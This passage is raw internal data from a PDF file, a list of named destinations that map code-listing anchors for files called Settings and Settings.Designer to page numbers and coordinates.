/XYZ 60.307257 87.605670 0 ] (Code/Settings.Designer/:__span-0-485) [ 1573 0 R /XYZ 60.307257 771.023622 0 ] (Code/Settings.Designer/:__span-0-486) [ 1573 0 R /XYZ 60.307257 757.623270 0 ] (Code/Settings.Designer/:__span-0-487) [ 1573 0 R /XYZ 60.307257 744.222918 0 ] (Code/Settings.Designer/:__span-0-488) [ 1573 0 R /XYZ 60.307257 730.822566 0 ] (Code/Settings.Designer/:__span-0-489) [ 1573 0 R /XYZ 60.307257 717.422214 0 ] (Code/Settings.Designer/:__span-0-49) [ 1553 0 R /XYZ 60.307257 744.222918 0 ] (Code/Settings.Designer/:__span-0-490) [ 1573 0 R /XYZ 60.307257 704.021862 0 ] (Code/Settings.Designer/:__span-0-491) [ 1573 0 R /XYZ 60.307257 690.621510 0 ] (Code/Settings.Designer/:__span-0-492) [ 1573 0 R /XYZ 60.307257 677.221158 0 ] (Code/Settings.Designer/:__span-0-493) [ 1573 0 R /XYZ 60.307257 663.820806 0 ] (Code/Settings.Designer/:__span-0-494) [ 1573 0 R /XYZ 60.307257 650.420454 0 ] (Code/Settings.Designer/:__span-0-5) [ 1551 0 R /XYZ 60.307257 654.034014 0 ] (Code/Settings.Designer/:__span-0-50) [ 1553 0 R /XYZ 60.307257 730.822566 0 ] (Code/Settings.Designer/:__span-0-51) [ 1553 0 R /XYZ 60.307257 717.422214 0 ] (Code/Settings.Designer/:__span-0-52) [ 1553 0 R /XYZ 60.307257 704.021862 0 ] (Code/Settings.Designer/:__span-0-53) [ 1553 0 R /XYZ 60.307257 690.621510 0 ] (Code/Settings.Designer/:__span-0-54) [ 1553 0 R /XYZ 60.307257 677.221158 0 ] (Code/Settings.Designer/:__span-0-55) [ 1553 0 R /XYZ 60.307257 663.820806 0 ] (Code/Settings.Designer/:__span-0-56) [ 1553 0 R /XYZ 60.307257 650.420454 0 ] (Code/Settings.Designer/:__span-0-57) [ 1553 0 R /XYZ 60.307257 637.020102 0 ] (Code/Settings.Designer/:__span-0-58) [ 1553 0 R /XYZ 60.307257 623.619750 0 ] (Code/Settings.Designer/:__span-0-59) [ 1553 0 R /XYZ 60.307257 610.219398 0 ] (Code/Settings.Designer/:__span-0-6) [ 1551 0 R /XYZ 60.307257 640.633662 0 ] (Code/Settings.Designer/:__span-0-60) [ 1553 0 R /XYZ 60.307257 596.819046 0 ] (Code/Settings.Designer/:__span-0-61) [ 1553 0 R /XYZ 60.307257 583.418694 0 ] (Code/Settings.Designer/:__span-0-62) [ 1553 0 R /XYZ 60.307257 570.018342 0 ] (Code/Settings.Designer/:__span-0-63) [ 1553 0 R /XYZ 60.307257 543.217638 0 ] (Code/Settings.Designer/:__span-0-64) [ 1553 0 R /XYZ 60.307257 529.817286 0 ] (Code/Settings.Designer/:__span-0-65) [ 1553 0 R /XYZ 60.307257 503.016582 0 ] (Code/Settings.Designer/:__span-0-66) [ 1553 0 R /XYZ 60.307257 489.616230 0 ] (Code/Settings.Designer/:__span-0-67) [ 1553 0 R /XYZ 60.307257 476.215878 0 ] (Code/Settings.Designer/:__span-0-68) [ 1553 0 R /XYZ 60.307257 462.815526 0 ] (Code/Settings.Designer/:__span-0-69) [ 1553 0 R /XYZ 60.307257 449.415174 0 ] (Code/Settings.Designer/:__span-0-7) [ 1551 0 R /XYZ 60.307257 627.233310 0 ] (Code/Settings.Designer/:__span-0-70) [ 1553 0 R /XYZ 60.307257 436.014822 0 ] (Code/Settings.Designer/:__span-0-71) [ 1553 0 R /XYZ 60.307257 422.614470 0 ] (Code/Settings.Designer/:__span-0-72) [ 1553 0 R /XYZ 60.307257 395.813766 0 ] (Code/Settings.Designer/:__span-0-73) [ 1553 0 R /XYZ 60.307257 382.413414 0 ] (Code/Settings.Designer/:__span-0-74) [ 1553 0 R /XYZ 60.307257 369.013062 0 ] (Code/Settings.Designer/:__span-0-75) [ 1553 0 R /XYZ 60.307257 355.612710 0 ] (Code/Settings.Designer/:__span-0-76) [ 1553 0 R /XYZ 60.307257 342.212358 0 ] (Code/Settings.Designer/:__span-0-77) [ 1553 0 R /XYZ 60.307257 328.812006 0 ] (Code/Settings.Designer/:__span-0-78) [ 1553 0 R /XYZ 60.307257 315.411654 0 ] (Code/Settings.Designer/:__span-0-79) [ 1553 0 R /XYZ 60.307257 302.011302 0 ] (Code/Settings.Designer/:__span-0-8) [ 1551 0 R /XYZ 60.307257 613.832958 0 ] (Code/Settings.Designer/:__span-0-80) [ 1553 0 R /XYZ 60.307257 288.610950 0 ] (Code/Settings.Designer/:__span-0-81) [ 1553 0 R /XYZ 60.307257 275.210598 0 ] (Code/Settings.Designer/:__span-0-82) [ 1553 0 R /XYZ 60.307257 261.810246 0 ] (Code/Settings.Designer/:__span-0-83) [ 1553 0 R /XYZ 60.307257 235.009542 0 ] (Code/Settings.Designer/:__span-0-84) [ 1553 0 R /XYZ 60.307257 221.609190 0 ] (Code/Settings.Designer/:__span-0-85) [ 1553 0 R /XYZ 60.307257 208.208838 0 ] (Code/Settings.Designer/:__span-0-86) [ 1553 0 R /XYZ 60.307257 194.808486 0 ] (Code/Settings.Designer/:__span-0-87) [ 1553 0 R /XYZ 60.307257 181.408134 0 ] (Code/Settings.Designer/:__span-0-88) [ 1553 0 R /XYZ 60.307257 168.007782 0 ] (Code/Settings.Designer/:__span-0-89) [ 1553 0 R /XYZ 60.307257 154.607430 0 ] (Code/Settings.Designer/:__span-0-9) [ 1551 0 R /XYZ 60.307257 600.432606 0 ] (Code/Settings.Designer/:__span-0-90) [ 1553 0 R /XYZ 60.307257 141.207078 0 ] (Code/Settings.Designer/:__span-0-91) [ 1553 0 R /XYZ 60.307257 127.806726 0 ] (Code/Settings.Designer/:__span-0-92) [ 1553 0 R /XYZ 60.307257 114.406374 0 ] (Code/Settings.Designer/:__span-0-93) [ 1555 0 R /XYZ 60.307257 771.023622 0 ] (Code/Settings.Designer/:__span-0-94) [ 1555 0 R /XYZ 60.307257 744.222918 0 ] (Code/Settings.Designer/:__span-0-95) [ 1555 0 R /XYZ 60.307257 730.822566 0 ] (Code/Settings.Designer/:__span-0-96) [ 1555 0 R /XYZ 60.307257 717.422214 0 ] (Code/Settings.Designer/:__span-0-97) [ 1555 0 R /XYZ 60.307257 677.221158 0 ] (Code/Settings.Designer/:__span-0-98) [ 1555 0 R /XYZ 60.307257 663.820806 0 ] (Code/Settings.Designer/:__span-0-99) [ 1555 0 R /XYZ 60.307257 650.420454 0 ] (Code/Settings.Designer/:settingsdesignercs) [ 1551 0 R /XYZ 39.386457 747.563622 0 ] (Code/Settings/:) [ 1679 0 R /XYZ 39.386457 747.563622 0 ] (Code/Settings/:__span-0-1) [ 1679 0 R /XYZ 60.307257 707.635422 0 ] (Code/Settings/:__span-0-10) [ 1679 0 R /XYZ 60.307257 587.032254 0 ] (Code/Settings/:__span-0-100) [ 1683 0 R /XYZ 60.307257 610.219398 0 ] (Code/Settings/:__span-0-101) [ 1683 0 R /XYZ 60.307257 596.819046 0 ] (Code/Settings/:__span-0-102) [ 1683 0 R /XYZ 60.307257 583.418694 0 ] (Code/Settings/:__span-0-103) [ 1683 0 R /XYZ 60.307257 570.018342 0 ] (Code/Settings/:__span-0-104) [ 1683 0 R /XYZ 60.307257 556.617990 0 ] (Code/Settings/:__span-0-105) [ 1683 0 R /XYZ 60.307257 543.217638 0 ] (Code/Settings/:__span-0-106) [ 1683 0 R /XYZ 60.307257 516.416934 0 ] (Code/Settings/:__span-0-107) [ 1683 0 R /XYZ 60.307257 503.016582 0 ] (Code/Settings/:__span-0-108) [ 1683 0 R /XYZ 60.307257 489.616230 0 ] (Code/Settings/:__span-0-109) [ 1683 0 R /XYZ 60.307257 476.215878 0 ] (Code/Settings/:__span-0-11) [ 1679 0 R /XYZ 60.307257 573.631902 0 ] (Code/Settings/:__span-0-110) [ 1683 0 R /XYZ 60.307257 462.815526 0 ] (Code/Settings/:__span-0-111) [ 1683 0 R /XYZ 60.307257 449.415174 0 ] (Code/Settings/:__span-0-112) [ 1683 0 R /XYZ 60.307257 436.014822 0 ] (Code/Settings/:__span-0-113) [ 1683 0 R /XYZ 60.307257 422.614470 0 ] (Code/Settings/:__span-0-114) [ 1683 0 R /XYZ 60.307257 409.214118 0 ] (Code/Settings/:__span-0-115) [ 1683 0 R /XYZ 60.307257 395.813766 0 ] (Code/Settings/:__span-0-116) [ 1683 0 R /XYZ 60.307257 382.413414 0 ] (Code/Settings/:__span-0-117) [ 1683 0 R /XYZ 60.307257 369.013062 0 ] (Code/Settings/:__span-0-118) [ 1683 0 R /XYZ 60.307257 355.612710 0 ] (Code/Settings/:__span-0-119) [ 1683 0 R /XYZ 60.307257 342.212358 0 ] (Code/Settings/:__span-0-12) [ 1679 0 R /XYZ 60.307257 560.231550 0 ] (Code/Settings/:__span-0-120) [ 1683 0 R /XYZ 60.307257 328.812006 0 ] (Code/Settings/:__span-0-121) [ 1683 0 R /XYZ 60.307257 315.411654 0 ] (Code/Settings/:__span-0-122) [ 1683 0 R /XYZ 60.307257 302.011302 0 ] (Code/Settings/:__span-0-123) [ 1683 0 R /XYZ 60.307257 288.610950 0 ] (Code/Settings/:__span-0-124) [ 1683 0 R /XYZ 60.307257 275.210598 0 ] (Code/Settings/:__span-0-125) [ 1683 0 R /XYZ 60.307257 261.810246 0 ] (Code/Settings/:__span-0-126) [ 1683 0 R /XYZ 60.307257 248.409894 0 ] (Code/Settings/:__span-0-127) [ 1683 0 R /XYZ 60.307257 235.009542 0 ] (Code/Settings/:__span-0-128) [ 1683 0 R /XYZ 60.307257 221.609190 0 ] (Code/Settings/:__span-0-129) [ 1683 0 R /XYZ 60.307257 208.208838 0 ] (Code/Settings/:__span-0-13) [ 1679 0 R /XYZ 60.307257 546.831198 0 ] (Code/Settings/:__span-0-130) [ 1683 0 R /XYZ 60.307257 194.808486 0 ] (Code/Settings/:__span-0-131) [ 1683 0 R /XYZ 60.307257 181.408134 0 ] (Code/Settings/:__span-0-132) [ 1683 0 R /XYZ 60.307257 168.007782 0 ] (Code/Settings/:__span-0-133) [ 1683 0 R /XYZ 60.307257 154.607430 0 ] (Code/Settings/:__span-0-134) [ 1683 0 R /XYZ 60.307257 141.207078 0 ] (Code/Settings/:__span-0-135) [ 1683 0 R /XYZ 60.307257 127.806726 0 ] (Code/Settings/:__span-0-136) [ 1683 0 R /XYZ 60.307257 114.406374 0 ] (Code/Settings/:__span-0-137) [ 1683 0 R /XYZ 60.307257 101.006022 0 ] (Code/Settings/:__span-0-138) [ 1683 0 R /XYZ 60.307257 87.605670 0 ] (Code/Settings/:__span-0-139) [ 1685 0 R /XYZ 60.307257 771.023622 0 ] (Code/Settings/:__span-0-14) [ 1679 0 R /XYZ 60.307257 533.430846 0 ] (Code/Settings/:__span-0-140) [ 1685 0 R /XYZ 60.307257 757.623270 0 ] (Code/Settings/:__span-0-141) [ 1685 0 R /XYZ 60.307257 744.222918 0 ] (Code/Settings/:__span-0-142) [ 1685 0 R /XYZ 60.307257 730.822566 0 ] (Code/Settings/:__span-0-143) [ 1685 0 R /XYZ 60.307257 717.422214 0 ] (Code/Settings/:__span-0-144) [ 1685 0 R /XYZ 60.307257 704.021862 0 ] (Code/Settings/:__span-0-145) [ 1685 0 R /XYZ 60.307257 690.621510 0 ] (Code/Settings/:__span-0-146) [ 1685 0 R /XYZ 60.307257 677.221158 0 ] (Code/Settings/:__span-0-147) [ 1685 0 R /XYZ 60.307257 663.820806 0 ] (Code/Settings/:__span-0-148) [ 1685 0 R /XYZ 60.307257 650.420454 0 ] (Code/Settings/:__span-0-149) [ 1685 0 R /XYZ 60.307257 637.020102 0 ] (Code/Settings/:__span-0-15) [ 1679 0 R /XYZ 60.307257 520.030494 0 ] (Code/Settings/:__span-0-150) [ 1685 0 R /XYZ 60.307257 623.619750 0 ] (Code/Settings/:__span-0-151) [ 1685 0 R /XYZ 60.307257 610.219398 0 ] (Code/Settings/:__span-0-152) [ 1685 0 R /XYZ 60.307257 596.819046 0 ] (Code/Settings/:__span-0-153) [ 1685 0 R /XYZ 60.307257 583.418694 0 ] (Code/Settings/:__span-0-154) [ 1685 0 R /XYZ 60.307257 570.018342 0 ] (Code/Settings/:__span-0-155) [ 1685 0 R /XYZ 60.307257 556.617990 0 ] (Code/Settings/:__span-0-156) [ 1685 0 R /XYZ 60.307257 543.217638 0 ] (Code/Settings/:__span-0-157) [ 1685 0 R /XYZ 60.307257 529.817286 0 ] (Code/Settings/:__span-0-158) [ 1685 0 R /XYZ 60.307257 516.416934 0 ] (Code/Settings/:__span-0-159) [ 1685 0 R /XYZ 60.307257 503.016582 0 ] (Code/Settings/:__span-0-16) [ 1679 0 R /XYZ 60.307257 506.630142 0 ] (Code/Settings/:__span-0-160) [ 1685 0 R /XYZ 60.307257 489.616230 0 ] (Code/Settings/:__span-0-161) [ 1685 0 R /XYZ 60.307257 476.215878 0 ] (Code/Settings/:__span-0-162) [ 1685 0 R /XYZ 60.307257 462.815526 0 ] (Code/Settings/:__span-0-163) [ 1685 0 R /XYZ 60.307257 449.415174 0 ] (Code/Settings/:__span-0-164) [ 1685 0 R /XYZ 60.307257 436.014822 0 ] (Code/Settings/:__span-0-165) [ 1685 0 R /XYZ 60.307257 422.614470 0 ] (Code/Settings/:__span-0-166) [ 1685 0 R /XYZ 60.307257 409.214118 0 ] (Code/Settings/:__span-0-167) [ 1685 0 R /XYZ 60.307257 395.813766 0 ] (Code/Settings/:__span-0-168) [ 1685 0 R /XYZ 60.307257 382.413414 0 ] (Code/Settings/:__span-0-169) [ 1685 0 R /XYZ 60.307257 369.013062 0 ] (Code/Settings/:__span-0-17) [ 1679 0 R /XYZ 60.307257 493.229790 0 ] (Code/Settings/:__span-0-170) [ 1685 0 R /XYZ 60.307257 355.612710 0 ] (Code/Settings/:__span-0-171) [ 1685 0 R /XYZ 60.307257 342.212358 0 ] (Code/Settings/:__span-0-172) [ 1685 0 R /XYZ 60.307257 328.812006 0 ] (Code/Settings/:__span-0-173) [ 1685 0 R /XYZ 60.307257 315.411654 0 ] (Code/Settings/:__span-0-174) [ 1685 0 R /XYZ 60.307257 302.011302 0 ] (Code/Settings/:__span-0-175) [ 1685 0 R /XYZ 60.307257 288.610950 0 ] (Code/Settings/:__span-0-176) [ 1685 0 R /XYZ 60.307257 275.210598 0 ] (Code/Settings/:__span-0-177) [ 1685 0 R /XYZ 60.307257 261.810246 0 ] (Code/Settings/:__span-0-178) [ 1685 0 R /XYZ 60.307257 248.409894 0 ] (Code/Settings/:__span-0-179) [ 1685 0 R /XYZ 60.307257 235.009542 0 ] (Code/Settings/:__span-0-18) [ 1679 0 R /XYZ 60.307257 479.829438 0 ] (Code/Settings/:__span-0-180) [ 1685 0 R /XYZ 60.307257 221.609190 0 ] (Code/Settings/:__span-0-181) [ 1685 0 R /XYZ 60.307257 208.208838 0 ] (Code/Settings/:__span-0-182) [ 1685 0 R /XYZ 60.307257 194.808486 0 ] (Code/Settings/:__span-0-183) [ 1685 0 R /XYZ 60.307257 181.408134 0 ] (Code/Settings/:__span-0-184) [ 1685 0 R /XYZ 60.307257 168.007782 0 ] (Code/Settings/:__span-0-185) [ 1685 0 R /XYZ 60.307257 154.607430 0 ] (Code/Settings/:__span-0-186) [ 1685 0 R /XYZ 60.307257 141.207078 0 ] (Code/Settings/:__span-0-187) [ 1685 0 R /XYZ 60.307257 127.806726 0 ] (Code/Settings/:__span-0-188) [ 1685 0 R /XYZ 60.307257 114.406374 0 ] (Code/Settings/:__span-0-189) [ 1685 0 R /XYZ 60.307257 101.006022 0 ] (Code/Settings/:__span-0-19) [ 1679 0 R /XYZ 60.307257 466.429086 0 ] (Code/Settings/:__span-0-190) [ 1685 0 R /XYZ 60.307257 87.605670 0 ] (Code/Settings/:__span-0-191) [ 1687 0 R /XYZ 60.307257 771.023622 0 ] (Code/Settings/:__span-0-192) [ 1687 0 R /XYZ 60.307257 757.623270 0 ] (Code/Settings/:__span-0-193) [ 1687 0 R /XYZ 60.307257 744.222918 0 ] (Code/Settings/:__span-0-194) [ 1687 0 R /XYZ 60.307257 730.822566 0 ] (Code/Settings/:__span-0-195) [ 1687 0 R /XYZ 60.307257 717.422214 0 ] (Code/Settings/:__span-0-196) [ 1687 0 R /XYZ 60.307257 704.021862 0 ] (Code/Settings/:__span-0-197) [ 1687 0 R /XYZ 60.307257 690.621510 0 ] (Code/Settings/:__span-0-198) [ 1687 0 R /XYZ 60.307257 677.221158 0 ] (Code/Settings/:__span-0-199) [ 1687 0 R /XYZ 60.307257 663.820806 0 ] (Code/Settings/:__span-0-2) [ 1679 0 R /XYZ 60.307257 694.235070 0 ] (Code/Settings/:__span-0-20) [ 1679 0 R /XYZ 60.307257 453.028734 0 ] (Code/Settings/:__span-0-200) [ 1687 0 R /XYZ 60.307257 650.420454 0 ] (Code/Settings/:__span-0-201) [ 1687 0 R /XYZ 60.307257 637.020102 0 ] (Code/Settings/:__span-0-202) [ 1687 0 R /XYZ 60.307257 623.619750 0 ] (Code/Settings/:__span-0-203) [ 1687 0 R /XYZ 60.307257 610.219398 0 ] (Code/Settings/:__span-0-204) [ 1687 0 R /XYZ 60.307257 596.819046 0 ] (Code/Settings/:__span-0-205) [ 1687 0 R /XYZ 60.307257 583.418694 0 ] (Code/Settings/:__span-0-206) [ 1687 0 R /XYZ 60.307257 570.018342 0 ] (Code/Settings/:__span-0-207) [ 1687 0 R /XYZ 60.307257 556.617990 0 ] (Code/Settings/:__span-0-208) [ 1687 0 R /XYZ 60.307257 543.217638 0 ] (Code/Settings/:__span-0-209) [ 1687 0 R /XYZ 60.307257 529.817286 0 ] (Code/Settings/:__span-0-21) [ 1679 0 R /XYZ 60.307257 439.628382 0 ] (Code/Settings/:__span-0-210) [ 1687 0 R /XYZ 60.307257 516.416934 0 ] (Code/Settings/:__span-0-211) [ 1687 0 R /XYZ 60.307257 503.016582 0 ] (Code/Settings/:__span-0-212) [ 1687 0 R /XYZ 60.307257 489.616230 0 ] (Code/Settings/:__span-0-213) [ 1687 0 R /XYZ 60.307257 476.215878 0 ] (Code/Settings/:__span-0-214) [ 1687 0 R /XYZ 60.307257 462.815526 0 ] (Code/Settings/:__span-0-215) [ 1687 0 R /XYZ 60.307257 449.415174 0 ] (Code/Settings/:__span-0-216) [ 1687 0 R /XYZ 60.307257 436.014822 0 ] (Code/Settings/:__span-0-217) [ 1687 0 R /XYZ 60.307257 422.614470 0 ] (Code/Settings/:__span-0-218) [ 1687 0 R /XYZ 60.307257 409.214118 0 ] (Code/Settings/:__span-0-219) [ 1687 0 R /XYZ 60.307257 382.413414 0 ] (Code/Settings/:__span-0-22) [ 1679 0 R /XYZ 60.307257 426.228030 0 ] (Code/Settings/:__span-0-220) [ 1687 0 R /XYZ 60.307257 369.013062 0 ] (Code/Settings/:__span-0-221) [ 1687 0 R /XYZ 60.307257 342.212358 0 ] (Code/Settings/:__span-0-222) [ 1687 0 R /XYZ 60.307257 315.411654 0 ] (Code/Settings/:__span-0-223) [ 1687 0 R /XYZ 60.307257 288.610950 0 ] (Code/Settings/:__span-0-224) [ 1687 0 R /XYZ 60.307257 275.210598 0 ] (Code/Settings/:__span-0-225) [ 1687 0 R /XYZ 60.307257 248.409894 0 ] (Code/Settings/:__span-0-226) [ 1687 0 R /XYZ 60.307257 235.009542 0 ] (Code/Settings/:__span-0-227) [ 1687 0 R /XYZ 60.307257 221.609190 0 ] (Code/Settings/:__span-0-228) [ 1687 0 R /XYZ 60.307257 208.208838 0 ] (Code/Settings/:__span-0-229) [ 1687 0 R /XYZ 60.307257 194.808486 0 ] (Code/Settings/:__span-0-23) [ 1679 0 R /XYZ 60.307257 412.827678 0 ] (Code/Settings/:__span-0-230) [ 1687 0 R /XYZ 60.307257 181.408134 0 ] (Code/Settings/:__span-0-231) [ 1687 0 R /XYZ 60.307257 168.007782 0 ] (Code/Settings/:__span-0-232) [ 1687 0 R /XYZ 60.307257 154.607430 0 ] (Code/Settings/:__span-0-233) [ 1687 0 R /XYZ 60.307257 141.207078 0 ] (Code/Settings/:__span-0-234) [ 1687 0 R /XYZ 60.307257 127.806726 0 ] (Code/Settings/:__span-0-235) [ 1687 0 R /XYZ 60.307257 114.406374 0 ] (Code/Settings/:__span-0-236) [ 1687 0 R /XYZ 60.307257 101.006022 0 ] (Code/Settings/:__span-0-237) [ 1687 0 R /XYZ 60.307257 87.605670 0 ] (Code/Settings/:__span-0-238) [ 1689 0 R /XYZ 60.307257 771.023622 0 ] (Code/Settings/:__span-0-239) [ 1689 0 R /XYZ 60.307257 757.623270 0 ] (Code/Settings/:__span-0-24) [ 1679 0 R /XYZ 60.307257 399.427326 0 ] (Code/Settings/:__span-0-240) [ 1689 0 R /XYZ 60.307257 744.222918 0 ] (Code/Settings/:__span-0-241) [ 1689 0 R /XYZ 60.307257 730.822566 0 ] (Code/Settings/:__span-0-242) [ 1689 0 R /XYZ 60.307257 717.422214 0 ] (Code/Settings/:__span-0-243) [ 1689 0 R /XYZ 60.307257 704.021862 0 ] (Code/Settings/:__span-0-244) [ 1689 0 R /XYZ 60.307257 690.621510 0 ] (Code/Settings/:__span-0-245) [ 1689 0 R /XYZ 60.307257 677.221158 0 ] (Code/Settings/:__span-0-246) [ 1689 0 R /XYZ 60.307257 663.820806 0 ] (Code/Settings/:__span-0-247) [ 1689 0 R /XYZ 60.307257 650.420454 0 ] (Code/Settings/:__span-0-248) [ 1689 0 R /XYZ 60.307257 637.020102 0 ] (Code/Settings/:__span-0-249) [ 1689 0 R /XYZ 60.307257 623.619750 0 ] (Code/Settings/:__span-0-25) [ 1679 0 R /XYZ 60.307257 386.026974 0 ] (Code/Settings/:__span-0-250) [ 1689 0 R /XYZ 60.307257 596.819046 0 ] (Code/Settings/:__span-0-251) [ 1689 0 R /XYZ 60.307257 570.018342 0 ] (Code/Settings/:__span-0-252) [ 1689 0 R /XYZ 60.307257 556.617990 0 ] (Code/Settings/:__span-0-253) [ 1689 0 R /XYZ 60.307257 529.817286 0 ] (Code/Settings/:__span-0-254) [ 1689 0 R /XYZ 60.307257 516.416934 0 ] (Code/Settings/:__span-0-255) [ 1689 0 R /XYZ 60.307257 503.016582 0 ] (Code/Settings/:__span-0-256) [ 1689 0 R /XYZ 60.307257 489.616230 0 ] (Code/Settings/:__span-0-257) [ 1689 0 R /XYZ 60.307257 476.215878 0 ] (Code/Settings/:__span-0-258) [ 1689 0 R /XYZ 60.307257 462.815526 0 ] (Code/Settings/:__span-0-259) [ 1689 0 R /XYZ 60.307257 449.415174 0 ] (Code/Settings/:__span-0-26) [ 1679 0 R /XYZ 60.307257 372.626622 0 ] (Code/Settings/:__span-0-260) [ 1689 0 R /XYZ 60.307257 436.014822 0 ] (Code/Settings/:__span-0-261) [ 1689 0 R /XYZ 60.307257 422.614470 0 ] (Code/Settings/:__span-0-262) [ 1689 0 R /XYZ 60.307257 409.214118 0 ] (Code/Settings/:__span-0-263) [ 1689 0 R /XYZ 60.307257 395.813766 0 ] (Code/Settings/:__span-0-264) [ 1689 0 R /XYZ 60.307257 382.413414 0 ] (Code/Settings/:__span-0-265) [ 1689 0 R /XYZ 60.307257 369.013062 0 ] (Code/Settings/:__span-0-266) [ 1689 0 R /XYZ 60.307257 355.612710 0 ] (Code/Settings/:__span-0-267) [ 1689 0 R /XYZ 60.307257 342.212358 0 ] (Code/Settings/:__span-0-268) [ 1689 0 R /XYZ 60.307257 328.812006 0 ] (Code/Settings/:__span-0-269) [ 1689 0 R /XYZ 60.307257 315.411654 0 ] (Code/Settings/:__span-0-27) [ 1679 0 R /XYZ 60.307257 359.226270 0 ] (Code/Settings/:__span-0-270) [ 1689 0 R /XYZ 60.307257 302.011302 0 ] (Code/Settings/:__span-0-271) [ 1689 0 R /XYZ 60.307257 288.610950 0 ] (Code/Settings/:__span-0-272) [ 1689 0 R /XYZ 60.307257 261.810246 0 ] (Code/Settings/:__span-0-273) [ 1689 0 R /XYZ 60.307257 248.409894 0 ] (Code/Settings/:__span-0-274) [ 1689 0 R /XYZ 60.307257 235.009542 0 ] (Code/Settings/:__span-0-275) [ 1689 0 R /XYZ 60.307257 221.609190 0 ] (Code/Settings/:__span-0-276) [ 1689 0 R /XYZ 60.307257 208.208838 0 ] (Code/Settings/:__span-0-277) [ 1689 0 R /XYZ 60.307257 194.808486 0 ] (Code/Settings/:__span-0-278) [ 1689 0 R /XYZ 60.307257 181.408134 0 ] (Code/Settings/:__span-0-279) [ 1689 0 R /XYZ 60.307257 168.007782 0 ] (Code/Settings/:__span-0-28) [ 1679 0 R /XYZ 60.307257 345.825918 0 ] (Code/Settings/:__span-0-280) [ 1689 0 R /XYZ 60.307257 154.607430 0 ] (Code/Settings/:__span-0-281) [ 1689 0 R /XYZ 60.307257 141.207078 0 ] (Code/Settings/:__span-0-282) [ 1689 0 R /XYZ 60.307257 127.806726 0 ] (Code/Settings/:__span-0-283) [ 1689 0 R /XYZ 60.307257 114.406374 0 ] (Code/Settings/:__span-0-284) [ 1689 0 R /XYZ 60.307257 101.006022 0 ] (Code/Settings/:__span-0-285) [ 1689 0 R /XYZ 60.307257 87.605670 0 ] (Code/Settings/:__span-0-286) [ 1691 0 R /XYZ 60.307257 771.023622 0 ] (Code/Settings/:__span-0-287) [ 1691 0 R /XYZ 60.307257 757.623270 0 ] (Code/Settings/:__span-0-288) [ 1691 0 R /XYZ 60.307257 744.222918 0 ] (Code/Settings/:__span-0-289) [ 1691 0 R /XYZ 60.307257 730.822566 0 ] (Code/Settings/:__span-0-29) [ 1679 0 R /XYZ 60.307257 332.425566 0 ] (Code/Settings/:__span-0-290) [ 1691 0 R /XYZ 60.307257 717.422214 0 ] (Code/Settings/:__span-0-291) [ 1691 0 R /XYZ 60.307257 704.021862 0 ] (Code/Settings/:__span-0-292) [ 1691 0 R /XYZ 60.307257 690.621510 0 ] (Code/Settings/:__span-0-293) [ 1691 0 R /XYZ 60.307257 677.221158 0 ] (Code/Settings/:__span-0-294) [ 1691 0 R /XYZ 60.307257 663.820806 0 ] (Code/Settings/:__span-0-295) [ 1691 0 R /XYZ 60.307257 650.420454 0 ] (Code/Settings/:__span-0-296) [ 1691 0 R /XYZ 60.307257 637.020102 0 ] (Code/Settings/:__span-0-297) [ 1691 0 R /XYZ 60.307257 623.619750 0 ] (Code/Settings/:__span-0-298) [ 1691 0 R /XYZ 60.307257 610.219398 0 ] (Code/Settings/:__span-0-299) [ 1691 0 R /XYZ 60.307257 596.819046 0 ] (Code/Settings/:__span-0-3) [ 1679 0 R /XYZ 60.307257 680.834718 0 ] (Code/Settings/:__span-0-30) [ 1679 0 R /XYZ 60.307257 319.025214 0 ] (Code/Settings/:__span-0-300) [ 1691 0 R /XYZ 60.307257 583.418694 0 ] (Code/Settings/:__span-0-301) [ 1691 0 R /XYZ 60.307257 570.018342 0 ] (Code/Settings/:__span-0-302) [ 1691 0 R /XYZ 60.307257 556.617990 0 ] (Code/Settings/:__span-0-303) [ 1691 0 R /XYZ 60.307257 543.217638 0 ] (Code/Settings/:__span-0-304) [ 1691 0 R /XYZ 60.307257 529.817286 0 ] (Code/Settings/:__span-0-305) [ 1691 0 R /XYZ 60.307257 516.416934 0 ] (Code/Settings/:__span-0-306) [ 1691 0 R /XYZ 60.307257 503.016582 0 ] (Code/Settings/:__span-0-307) [ 1691 0 R /XYZ 60.307257 489.616230 0 ] (Code/Settings/:__span-0-308) [ 1691 0 R /XYZ 60.307257 476.215878 0 ] (Code/Settings/:__span-0-309) [ 1691 0 R /XYZ 60.307257 462.815526 0 ] (Code/Settings/:__span-0-31) [ 1679 0 R /XYZ 60.307257 305.624862 0 ] (Code/Settings/:__span-0-310) [ 1691 0 R /XYZ 60.307257 436.014822 0 ] (Code/Settings/:__span-0-311) [ 1691 0 R /XYZ 60.307257 422.614470 0 ] (Code/Settings/:__span-0-312) [ 1691 0 R /XYZ 60.307257 409.214118 0 ] (Code/Settings/:__span-0-313) [ 1691 0 R /XYZ 60.307257 395.813766 0 ] (Code/Settings/:__span-0-314) [ 1691 0 R /XYZ 60.307257 382.413414 0 ] (Code/Settings/:__span-0-315) [ 1691 0 R /XYZ 60.307257 369.013062 0 ] (Code/Settings/:__span-0-316) [ 1691 0 R /XYZ 60.307257 355.612710 0 ] (Code/Settings/:__span-0-317) [ 1691 0 R /XYZ 60.307257 342.212358 0 ] (Code/Settings/:__span-0-318) [ 1691 0 R /XYZ 60.307257 328.812006 0 ] (Code/Settings/:__span-0-319) [ 1691 0 R /XYZ 60.307257 315.411654 0 ] (Code/Settings/:__span-0-32) [ 1679 0 R /XYZ 60.307257 292.224510 0 ] (Code/Settings/:__span-0-320) [ 1691 0 R /XYZ 60.307257 302.011302 0 ] (Code/Settings/:__span-0-321) [ 1691 0 R /XYZ 60.307257 288.610950 0 ] (Code/Settings/:__span-0-322) [ 1691 0 R /XYZ 60.307257 275.210598 0 ] (Code/Settings/:__span-0-323) [ 1691 0 R /XYZ 60.307257 261.810246 0 ] (Code/Settings/:__span-0-324) [ 1691 0 R /XYZ 60.307257 248.409894 0 ] (Code/Settings/:__span-0-325) [ 1691 0 R /XYZ 60.307257 235.009542 0 ] (Code/Settings/:__span-0-326) [ 1691 0 R /XYZ 60.307257 221.609190 0 ] (Code/Settings/:__span-0-327) [ 1691 0 R /XYZ 60.307257 208.208838 0 ] (Code/Settings/:__span-0-328) [ 1691 0 R /XYZ 60.307257 194.808486 0 ] (Code/Settings/:__span-0-329) [ 1691 0 R /XYZ 60.307257 181.408134 0 ] (Code/Settings/:__span-0-33) [ 1679 0 R /XYZ 60.307257 278.824158 0 ] (Code/Settings/:__span-0-330) [ 1691 0 R /XYZ 60.307257 168.007782 0 ] (Code/Settings/:__span-0-331) [ 1691 0 R /XYZ 60.307257 154.607430 0 ] 